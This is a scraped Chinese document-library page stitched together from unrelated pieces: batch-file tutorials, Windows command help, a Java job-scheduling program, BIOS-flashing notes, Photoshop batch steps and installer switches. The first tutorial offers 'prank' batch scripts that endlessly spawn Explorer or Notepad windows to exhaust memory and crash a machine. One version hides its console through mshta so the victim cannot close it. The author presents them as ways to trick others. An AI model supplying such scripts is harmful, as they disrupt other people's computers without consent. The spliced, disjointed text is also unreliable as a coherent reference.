文档库 最新最全的文档下载
当前位置:文档库 › 浅谈批处理

浅谈批处理

浅谈批处理
浅谈批处理

浅谈批处理

By devilking 首先要说的是什么是批处理,批处理就是一堆命令行的集合,而常见的命令多是dos命令。故在学习批处理命令之前,应该知道dos 命令。

常见的dos命令有ping,net,telnet,ftp,shutdown,start,find……等等。具体的用法只需要在命令提示符窗口(运行cmd或者按win+R 然后输入cmd)输入相应的命令,或者输入help就会出现具体的帮助内容。

我不知道大家学批处理的目的是什么,或许大家是想做一名黑客,然而就我所知的,黑客之路需要学习很多知识,批处理只是其中的冰山一角。现在就让大家来看一下我自己写的一些恶作剧批处理命令吧:

这个的作用是不停的打开资源管理器,一分钟之类就可以让电脑的内存耗尽,从而司机。

@echo off

:start

start explorer

goto start

Pause

用这个阴人还行吧?那就用同样的原理来看下一个文件:

@echo off

:begin

start notepad

goto begin

pause

这个就是打开的两个文件,不容易关掉,以此类推,你可以打开三个,四个,,,,,嘿嘿,太邪恶了。

还有一个很简单的文件,看下面:

@echo off

if"%1"=="h"goto begin

mshta vbscript:createobject("wscript.shell").run("%~nx0h",0)(window.close)&&exit

:begin

start notepad

goto begin

这个可以隐藏cmd窗口,让人无处可关。

或许你想借浪漫的名义来恶搞一下,那就看下面一个简单的例子:

@echo off

echo我爱你!>send.txt

:start

echo我爱你!>>send.txt

start send.txt

goto start

Pause

大家发现没有,我都是用的goto命令,没错!就这么简单的命令可以写出很多变体。知识是死的,人是活的。如果你想做一些危害性大的话,比如让你写的东西开机自启,或者自动运行,又或者你想入侵别人的电脑盗取信息,都可以灵活运用这些知识。这些东西毕竟不好,违法。所以就不给具体的例子了!避免那些粗鄙的复制粘贴党到处害人。

这些的目的在于抛砖引玉,如有不合理的地方还请指正。

下面看一下具体的dos命令吧

用法:ping[-t][-a][-n count][-l size][-f][-i TTL][-v TOS]

[-r count][-s count][[-j host-list]|[-k host-list]]

[-w timeout][-R][-S srcaddr][-4][-6]target_name

选项:

-t Ping指定的主机,直到停止。

若要查看统计信息并继续操作-请键入Control-Break;

若要停止-请键入Control-C。

-a将地址解析成主机名。

-n count要发送的回显请求数。

-l size发送缓冲区大小。

-f在数据包中设置“不分段”标志(仅适用于IPv4)。

-i TTL生存时间。

-v TOS服务类型(仅适用于IPv4。该设置已不赞成使用,且

对IP标头中的服务字段类型没有任何影响)。

-r count记录计数跃点的路由(仅适用于IPv4)。

-s count计数跃点的时间戳(仅适用于IPv4)。

-j host-list与主机列表一起的松散源路由(仅适用于IPv4)。

-k host-list与主机列表一起的严格源路由(仅适用于IPv4)。

-w timeout等待每次回复的超时时间(毫秒)。

-R同样使用路由标头测试反向路由(仅适用于IPv6)。

-S srcaddr要使用的源地址。

-4强制使用IPv4。

-6强制使用IPv6。

用法:shutdown[/i|/l|/s|/r|/g|/a|/p|/h|/e

[/m\\computer][/t xxx][/d[p|u:]xx:yy[/c"comment"]]

没有参数显示帮助。这与键入/?是一样的。

/?显示帮助。这与不键入任何选项是一样的。

/i显示图形用户界面(GUI)。

这必须是第一个选项。

/l注销。这不能与/m或/d选项一起使用。

/s关闭计算机。

/r关闭并重新启动计算机。

/g关闭并重新启动计算机。系统重新启动后,

重新启动所有注册的应用程序。

/a中止系统关闭。

这只能在超时期间使用。

/p关闭本地计算机,没有超时或警告。

可以与/d和/f选项一起使用。

/h休眠本地计算机。

可以与/f选项一起使用。

/e记录计算机意外关闭的原因。

/m\\computer指定目标计算机。

/t xxx设置关闭前的超时为xxx秒。

有效范围是0-315360000(10年),默认值为30

如果超时时间大于0,则默示/f

参数。

/c"comment"重启动或关闭的原因的注释。

最多允许512个字符。

/f强制正在运行的应用程序关闭,不前台警告用户。

当为/t参数指定大于0的值时,

则默示/f参数。

/d[p|u:]xx:yy提供重新启动或关机的原因。

p表明重新启动或关闭是计划内的。

u表示原因由用户定义。

如果p和u均未指定,则是计划外重新启动

或关闭。

xx是主要原因号(小于256的正整数)。

yy是次要原因号(小于65536的正整数)。

还有下面这些

ASSOC显示或修改文件扩展名关联。

ATTRIB显示或更改文件属性。

BREAK设置或清除扩展式CTRL+C检查。BCDEDIT设置启动数据库中的属性以控制启动加载。CACLS显示或修改文件的访问控制列表(ACL)。

CALL从另一个批处理程序调用这一个。

CD显示当前目录的名称或将其更改。

CHCP显示或设置活动代码页数。

CHDIR显示当前目录的名称或将其更改。

CHKDSK检查磁盘并显示状态报告。

CHKNTFS显示或修改启动时间磁盘检查。

CLS清除屏幕。

CMD打开另一个Windows命令解释程序窗口。COLOR设置默认控制台前景和背景颜色。

COMP比较两个或两套文件的内容。

COMPACT显示或更改NTFS分区上文件的压缩。CONVERT将FAT卷转换成NTFS。您不能转换

当前驱动器。

COPY将至少一个文件复制到另一个位置。

DATE显示或设置日期。

DEL删除至少一个文件。

DIR显示一个目录中的文件和子目录。DISKCOMP比较两个软盘的内容。

DISKCOPY将一个软盘的内容复制到另一个软盘。DISKPART显示或配置磁盘分区属性。

DOSKEY编辑命令行、调用Windows命令并创建宏。DRIVERQUERY显示当前设备驱动程序状态和属性。

ECHO显示消息,或将命令回显打开或关上。

ENDLOCAL结束批文件中环境更改的本地化。

ERASE删除一个或多个文件。

EXIT退出CMD.EXE程序(命令解释程序)。

FC比较两个文件或两个文件集并显示它们之间的不FIND在一个或多个文件中搜索一个文本字符串。FINDSTR在多个文件中搜索字符串。

FOR为一套文件中的每个文件运行一个指定的命令。FORMAT格式化磁盘,以便跟Windows使用。FSUTIL显示或配置文件系统的属性。

FTYPE显示或修改用在文件扩展名关联的文件类型。GOTO将Windows命令解释程序指向批处理程序

中某个带标签的行。

GPRESULT显示机器或用户的组策略信息。

GRAFTABL启用Windows在图形模式显示扩展字符集。HELP提供Windows命令的帮助信息。

ICACLS显示、修改、备份或还原文件和

目录的ACL。

IF在批处理程序中执行有条件的处理过程。

LABEL创建、更改或删除磁盘的卷标。

MD创建一个目录。

MKDIR创建一个目录。

MKLINK创建符号链接和硬链接

MODE配置系统设备。

MORE逐屏显示输出。

MOVE将一个或多个文件从一个目录移动到另一个目录OPENFILES显示远程用户为了文件共享而打开的文件。PATH为可执行文件显示或设置搜索路径。

PAUSE停止批处理文件的处理并显示信息。

POPD还原由PUSHD保存的当前目录上一次的值。PRINT打印一个文本文件。

PROMPT改变Windows命令提示。

PUSHD保存当前目录,然后对其进行更改。

RD删除目录。

RECOVER从损坏的磁盘中恢复可读取的信息。

REM记录批处理文件或CONFIG.SYS中的注释。REN重新命名文件。

RENAME重新命名文件。

REPLACE替换文件。

RMDIR删除目录。

ROBOCOPY复制文件和目录树的高级实用程序

SET显示、设置或删除Windows环境变量。SETLOCAL开始用批文件改变环境的本地化。

SC显示或配置服务(后台处理)。

SCHTASKS安排命令和程序在一部计算机上按计划运行。

SHIFT调整批处理文件中可替换参数的位置。SHUTDOWN让机器在本地或远程正确关闭。

SORT将输入排序。

START打开单独视窗运行指定程序或命令。SUBST将驱动器号与路径关联。

SYSTEMINFO显示机器的具体的属性和配置。TASKLIST显示包括服务的所有当前运行的任务。TASKKILL终止正在运行的进程或应用程序。

TIME显示或设置系统时间。

TITLE设置CMD.EXE会话的窗口标题。

TREE以图形显示启动器或路径的目录结构。TYPE显示文本文件的内容。

VER显示Windows的版本。

VERIFY告诉Windows验证文件是否正确写入磁盘。VOL显示磁盘卷标和序列号。

XCOPY复制文件和目录树。

WMIC在交互命令外壳里显示WMI信息。

批处理运行多个程序的方法

批处理运行多个程序的方法 每天开机后都要启动foxmail QQ 等多个程序又不想设置成随系统启动,因为回到家后开机有些程序不需要运行我本懒人所以想写批处理来一次执行试验如下: 方法一:最简单也是最容易想到的方法 "D:/Program Files/Tencent/Foxmail/Foxmail.exe" "C:/Program Files/Skype/Phone/Skype.exe" "D:/Program Files/Tencent/QQ2008/FinePlus.exe" 另存为start.bat 运行 运行后发现执行完第一句后就停止不动必须将foxmail窗口关闭才会执行下一条命令这才想起DOS是单任务操作系统看来此路不通 方法二:写三个bat文件内容分别为: 1.bat: "D:/Program Files/Tencent/Foxmail/Foxmail.exe" exit 2.bat: "C:/Program Files/Skype/Phone/Skype.exe" exit 3.bat: "D:/Program Files/Tencent/QQ2008/FinePlus.exe" exit start.bat内容: start 1.bat start 2.bat start 3.bat 运行发现三个程序都起来了但是我需要很郁闷的关闭多出来的三个DOS窗口…… 方法三: 既然直接执行exe不行改变策略找到快捷方式 start.bat: "C:/qq.lnk" "C:/Foxmail.lnk" "C:/skype.lnk" 再次保存运行OK! 注意:1 最好将快捷方式放在一个短路径的文件夹内长文件名的文件夹比如Program Files要写成Progra~1 比较麻烦另一方面便于管理 我的批处理最终版: "D:/ren/tools/雅虎通.lnk" "D:/ren/tools/Foxmail.lnk" "D:/ren/tools/Skype.exe.lnk" "D:/ren/tools/飞鸽传书.exe.lnk" "D:/ren/tools/qq.exe.lnk" 用批处理(bat)同时运行多个程序的方法 因为Gtalk 加入常用软件行列,所以我每天开机时第一件事就是启动Gtalk、QQ、旺旺、

作业批处理调度java代码及实例

代码 FlowShop类 public class FlowShop { static int n, //作业数; f1, //机器1完成处理时间; f, //完成时间和; bestf; //当前最优值; static int [][]m; //各作业所需的处理时间; static int []x; //当前作业调度; static int []bestx; //当前最优作业调度; static int []f2; //机器2完成处理时间; private void backtrack(int i) { if(i>n) { for (int j=1;j<=n;j++) { bestx[j]=x[j]; System.out.print(x[j]+" "); } System.out.println(); bestf=f; System.out.println("每条深度优先搜索结果为:"+bestf); } else for(int j=i;j<=n;j++) { f1+=m[x[j]][0]; f2[i]=((f2[i-1]>f1)? f2[i-1]:f1)+m[x[j]][1]; f+=f2[i]; if(f

public void ShowTest() { n=3; bestf=Integer.MAX_VALUE; f1=0; f=0; int [][]m={{0,0},{2,1},{3,1},{2,3}}; int []x={0,1,2,3}; int []bestx={0,1,2,3}; f2=new int[4]; this.m = m; this.x=x; this.bestx=bestx; this.f2=f2; backtrack(1); System.out.println("当前最优值:"+bestf); System.out.println("当前最优作业调度"); for(int i=1;i<=n;i++) { System.out.print(bestx[i]+" "); } } public static void main(String[] args) { FlowShop fs=new FlowShop(); fs.ShowTest(); } } MyMath类 public class MyMath { public void MyMath(){} public static int[] swap(int[] x,int i,int j) { int ex; ex=x[j]; x[j]=x[i]; x[i]=ex; return x; }

批处理的一些简单应用

内容:批处理应用的几个例子 作者:e哥(eaggle_wei) 时间:2011.3.6-2011.6.22 1.刷BIOS 我们在做测试工作时,经常要刷BIOS,而且BIOS时常更新,为了方便我们通常会把同一个机种的BIOS放在U盘中那个机种的文件名下,例如我做的P4LJ0的案子,里面BIOS 的版本从P4LJ0001一直更新到P4LJ0017,也就是文件名P4LJ0里面有17个关于BIOS的子文件,那么我们在刷BIOS时(比如我们刷P4LJ0001的bios)在dos下就会输入:C:\>cd P4LJ0 C:\P4LJ0>cd P4LJ0001 C:\ P4LJ0\P4LJ0001>bios.bat 这样一步一步来很麻烦,尤其是要刷新几十台机器的时候,所以我们就想到写个批处理放到根目录下,这样就不会每次按键按得手疼了。 例: cd P4LJ0 cd P4LJ0001 bios.bat 我们把以上内容放到一个简单字母或者数字命名的批处理中,保存下来存到U盘根目录下,例如保存到1.bat中。这样刷新时直接在提示符C:\>下输入1,然后回车就OK了,是不是很省事?当然有没有全自动化的,就是只需要插U盘,然后设置从U盘启动就OK了的?当然有了,比如我们把这个批处理命名为autoexec.bat就可以实现了,因为批处理默认这个批处理文件自动执行,但本人不建议这样做,即使你这样做了在工作结束后一定要记得把它删掉,否则可能图一时方便为以后制造不必要的麻烦。比如你把U盘插到另一个不共用的BIOS的机种上启动,这时刷完BIOS你就悲剧了,开不了机。 当然像我这种菜鸟,在刚开始看批处理的时候,连如何生成.bat文件都不懂,还以为是个高科技的东西,每次都是把一个现成的批处理文档换个位置重命名后,把要修改的内容从UltraEdit编辑器里面拷贝进去。后来找到一种新方法,先保存到一个txt文档中,然后重命名时强制修改后缀,如把1.txt重命名为1.bat后回车,当然电脑会提示你“如果更改扩展名,可能会导致文件不可用,确实要更改吗?不理会它,点是就可以了。不过使用这种方法时要注意不能把文件设为隐藏文件名,否则你找不到扩展名。至于怎么修改,哥好人做到底,知道的就跳过。打开我的电脑/计算机→在最上面的标题栏点“工具”→文件夹选项→查看→勾选“隐藏已知文件类型的扩展名”。 2.打开工作时要用到一天的东西 批处理在windows操作系统出现以后,很少有人问津了,像我们干BIOS的能够有幸知道一些,已经成为批处理的有生力量了,但一个编程高手如果不懂批处理,顶多只能算有点小成绩,像我等菜鸟懂一点批处理,毕竟还是有好处的,凡是病毒大多都包含有批处理,因为它太强大了,只要你轻轻双击一下鼠标,其他的工作就不用你做了,所以其实有时候不是病毒厉害,是你不懂病毒而打开了它,当然现在很多病毒是繁殖能力极强的,只要你插了U盘,就会被感染,这样子你就会防不胜防,所以瑞星,金山毒霸等这些杀毒软件还是需要的。不过要知道,杀毒软件永远滞后于病毒,所以你懂点批处理的小常识,就可以尽量避免打开某些恶意软件,增强你的防范能力。陈冠希的艳照门据说就是不懂照相机有备份恢复删除的知识而传出来的,所以建议大家没事多学点东西。 言归正传,比如我们要打开工作时常用的OUTLOOK,lingoes,Skype等东西,每次双击再打开,这样其实也不麻烦,但有没有办法一次性把他们都打开呢?答案是肯定的,那

Photoshop批处理动作的录制与运用

Photoshop批处理动作的录制与运用 作者:向俊出处:论坛责任编辑:Shiny [ 2006-01-19 14:11 ]我们需要将近千张图片处理成一定大小、CMYK颜色类型、JPEG格式的可应用图片,怎么办呢? 开学的时候我们系要迎新生和接受家长们的参观,在休息大厅里要用投影机放映介绍学院及有关专业的PPT。制作幻灯片需要将近千张图片处理成一定大小、CMYK颜色类型、JPEG格式的可应用图片。一张一张的处理是不可能的,于是四处找朋友求助,终于找到了一个好办法:用Photoshop的动作命令和批 处理命令就可轻松搞定它们。 一、制作自己需要的Action批处理动作命令 第一步,先打开Photoshop,选中“窗口→动作”命令,打开动作命令窗口。此时,动作命令栏里只 有默认命令序列和一些默认动作。 第二步,执行“文件→打开”动作,任意打开一张图片。单击动作命令栏“创建新动作”快捷命令图标,此时就会在“默认动作”的序列下创建新动作,出现如图1所示的命令对话框,在“名称”栏中输入“我的动作”,然后单击[记录]按钮结束,会得到图2的效果。 图1

图2 第三步,开始创建各项需要的动作(计算机会自动记录你的各个动作,为节省批处理时间,最好每个动作都是事先准备好,被记录的动作都能一步到位): 1. 限制图片大小:执行“文件→自动→限制图像”命令,打开图3对话框,根据需要设置好一系列参 数后,单击[好]。 图3 2. 转换颜色类型:执行“图像→模式→CMYK颜色”即可。 3. JPEG格式:执行“文件→存储为”命令,在“格式”下拉菜单中选择JPEG格式,单击[保存],会 打开“JPEG选项”对话框,在“品质”框下拉菜单中选择“高”,单击[好]。 第四步,单击动作命令栏下方的“停止”按钮停止记录。这时我们需要的动作命令制作完毕。 二、使用批处理命令,一步到位

批处理命令for语句基本用法

批处理命令for语句的基本用法 [系列教程]批处理for语句从入门到精通[20101225更新] ____________________________版主提醒 ____________________________ 文档来自于网络搜索 为了避免影响技术讨论、提高看帖的舒适性,请大家不要在此帖下跟 无实质内容的口水帖,特别是纯顶、纯支持、纯感谢、路过之类的帖子, 管理人员将不定期清理此类回帖,请大家多参与讨论少灌水,与人方便, 终将给自己带来方便,谢谢合作。 ________________________________________________________________ 文档来自于网络搜索 批处理是一门简单的脚本语言,虽然不能独当一面,但是,若作为工作中的辅助工具,绝对会让大家有随用随写、称心如意的畅快感。 文档来自于网络搜索 和其他语言相比,批处理语言有其先天性的优势: 1、系统自带,无需另行安装; 2、命令少,语句简洁,上手非常快; 3、编写出来的脚本小巧玲珑,随写随用; 但是,因为它以命令行方式工作,操作多有不便,在图形界面大行其道的windows世界里,多多少少会让大众望而却步;就算是对命令行有好感的新手,面对微软有如天书的帮助文件,很多人也会败下阵来,因此,论坛里很多会员也发出了编写系统的批处理教程的呼声。

文档来自于网络搜索 编写系统的批处理新手教程,一直是论坛管理层讨论的热点问题,但是,各位管理人员大多都有工作在身,而系统的教程涉及的面是如此之广,面对如此浩大的工程,仅凭一两个人的力量,是难以做好的,因此,本人退而求其次,此次发布的教程,以专题的形式编写,日后人手渐多之后,再考虑组织人力编写全面的教程。 文档来自于网络搜索之所以选择最难的for,一是觉得for最为强大,是大多数人最希望掌握的;二是若写其他命令教程,如果没有for的基础,展开来讲解会无从下手;三是for也是批处理中最复杂最难掌握的语句,把它攻克了,批处理的学习将会一片坦途。 文档来自于网络搜索 这次的for语句系列教程,打算按照for语句的5种句式逐一展开,在讲解for/f的时候,会穿插讲解批处理中一个最为关键、也是新手最容易犯错的概念:变量延迟,大纲如下: 文档来自于网络搜索一前言 二for语句的基本用法 三for /f(含变量延迟) 四for /r 五for /d 六for /l 遵照yibantiaokuan的建议,在顶楼放出此教程的txt版本、word版本和pdf版本,以方便那些离线浏览的会员。 文档来自于网络搜索[本帖最后由namejm于2010-12-26 02:36编辑]

十分经典的excel批处理教程

十分经典的批处理教程 这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。. 先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的! 按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。 OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BA TCH,批处理文件后缀BA T就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句"闲话":要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似): ping https://www.wendangku.net/doc/261021751.html, > a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt exit 是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离"从服务器中转"那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。 例二、再给出一个已经过时的例子(a.bat):

批处理程序安装

/B:iebatch.txt指定要使用的批处理脚本文件。 /D指定您希望仅下载适用于当前操作系统的文件。 /D:1指定您想下载适用于Microsoft Windows 和Windows NT 操作系统的文件。 /E:ComponentID,ComponentID指定要安装的额外组件,而不管调用模式如何。使用此参数可以指定不属于在“自定义向导”中指定的安装类型的组件。此命令开关还将覆盖批处理文本文件(如果已使用)中的设置。ComponentID 是一个能唯一地标识组件的字符串。要确定ComponentID,请参考Iesetup.cif 文件的“STRINGS”部分。例如,如果想知道用于添加“动态HTML 数据捆绑”的ComponentID,请参考Iesetup.cif 文件的“STRINGS”部分中的以下项 Tridata=Dynamic HTML Data Binding 此处,对应于“动态HTML 数据捆绑”的ComponentID 是“Tridata”。 /F (Fix) 将重新安装所有与最终用户计算机上的现有项目相比版本相同或版本更高的项目。使用/F命令开关可确保所有组件都不会替换为早期版本。 注意:/F 命令行选项不适用于Internet Explorer 5.5 及更高版本。要获得类似的功能,请使用命令行选项/V:I,例如:ie5setup.exe /Q:A /C:"ie5wzd /S:""#e"" /Q:C /R:N /V:I" /G:运行在Iesetup.inf 中指定的安装部分,各部分间要用逗号隔开。 /L:""<站点列表的路径和名称>""替代Ie4sites.dat 站点列表的路径和名称。指定完整路径(使用“通用命名约定”格式的HTTP、文件或网络)和站点列表文件名称。在站点列表文件中,使用与Ie4sites.dat 相同的结构和语法。 /M:[0|1|2|3...]指定安装模式。对于自定义的IEAK 程序包,0 指的是第一种安装选择;1 指的是第二种安装选择,以此类推(例如,0= 标准安装(默认),1= 增强安装,2= 完整安装)。 /P 评估安装空间而不启动安装程序。安装评估使您能够基于选定的安装选项来查看将使用的磁盘空间量。 /Q指定静默的“无操作”安装模式。将提示用户输入未指定的信息。 /Q:A指定无用户提示的静默安装模式。 /Q:C指定一种不显示取消按钮的静默安装模式,用户将无法取消安装。如果您在以公司管理员身份安装时选中了“无提示安装程序包”选项,“Internet Explorer 自定义向导”将使用此命令开关。 /R:N安装后不重新启动计算机。如果强制取消重新启动,您的程序应负责重新启动计算机;只有在计算机重启以后,Internet Explorer 才能正确配置。 /S:""#e""指定Ie5setup.exe 的源路径。""#e"" 是指 .exe 文件的完整路径和名称。 /X:安装Internet Explorer 而不带外壳、图标和链接。此参数还会使重新启动参数无效。此选项对于在自己的应用程序中承载浏览器控件很有用。

实用批处理(bat)教程

目录 第一章批处理基础 第一节常用批处理内部命令简介 1、REM 和:: 2、ECHO 和@ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和: 9、FIND 10、START 11、assoc 和ftype 12、pushd 和popd 13、CALL 14、shift 15、IF 16、setlocal 与变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION 启动或停用延缓环境变量扩展名。) 17、ATTRIB显示或更改文件属性 第二节常用特殊符号 1、@命令行回显屏蔽符 2、%批处理变量引导符 3、> 重定向符 4、>>重定向符 5、<、>、<& 重定向符 6、|命令管道符 7、^转义字符 8、组合命令 9、& 组合命令 10、||组合命令 11、\"\"字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章FOR命令详解 一、基本格式 二、参数/d仅为目录 三、参数/R递归(文件名) 四、参数/L迭代数值范围 五、参数/F迭代及文件解析 第三章FOR命令中的变量

一、~I- 删除任何引号(\"),扩展%I 二、%~fI- 将%I 扩展到一个完全合格的路径名 三、%~dI- 仅将%I 扩展到一个驱动器号 四、%~pI- 仅将%I 扩展到一个路径 五、%~nI- 仅将%I 扩展到一个文件名 六、%~xI- 仅将%I 扩展到一个文件扩展名 七、%~sI- 扩展的路径只含有短名 八、%~aI- 将%I 扩展到文件的文件属性 九、%~tI- 将%I 扩展到文件的日期/时间 十、%~zI- 将%I 扩展到文件的大小 十一、%~$PATH:I 第四章批处理中的变量 一、系统变量 二、自定义变量 第五章set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章if命令讲解 第一种用法:IF [NOT] ERRORLEVEL number command 第二种用法:IF [NOT] string1==string2 command 第三种用法:IF [NOT] EXIST filename command 第四种用法:IF增强的用法 第七章DOS编程高级技巧 一、界面设计 二、if…else…条件语句 三、循环语句 四、子程序 五、用ftp命令实现自动下载 六、用7-ZIP实现命令行压缩和解压功能 七、调用VBScript程序 八、将批处理转化为可执行文件 九、时间延迟 1、利用ping命令延时 2、利用for命令延时 3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内 4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内 十、模拟进度条 十一、特殊字符的输入及应用 十二、随机数(%random%)的应用技巧 十三、变量嵌套与命令嵌套 1、更正了所有的错别字,适当排版,增加条理性。

windows批处理文件(.bat&)

bat是dos下的批处理文件 .cmd是nt内核命令行环境的另一种批处理文件 从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由 外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是 由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。 所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都 是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序 仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。 =================================== 首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部 分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批 处理文件。 ==== 注 =================== 批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普 通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的 应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行 环境中,否则很多观念和设定都需要做比较大的变动。 ======================== 其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分 有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括 内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。 ==== 注 ================== 批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为 c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c 语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。 =========================== 第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所 在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个

Windows批处理大全

Windows 批处理大全(附各种实例) 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto nop arm s if {%2}=={} goto nop arm s(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :nop arm s echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的

【最全最详细】批处理经典入门教程

批处理经典入门教程!(从不懂到高手) 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似): 代码如下: ping https://www.wendangku.net/doc/261021751.html, > a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt ping https://www.wendangku.net/doc/261021751.html, >> a.txt exit 是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt 文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。 例二、再给出一个已经过时的例子(a.bat): @echo off if exist C:\Progra~1\Tencent\AD\*.gif del 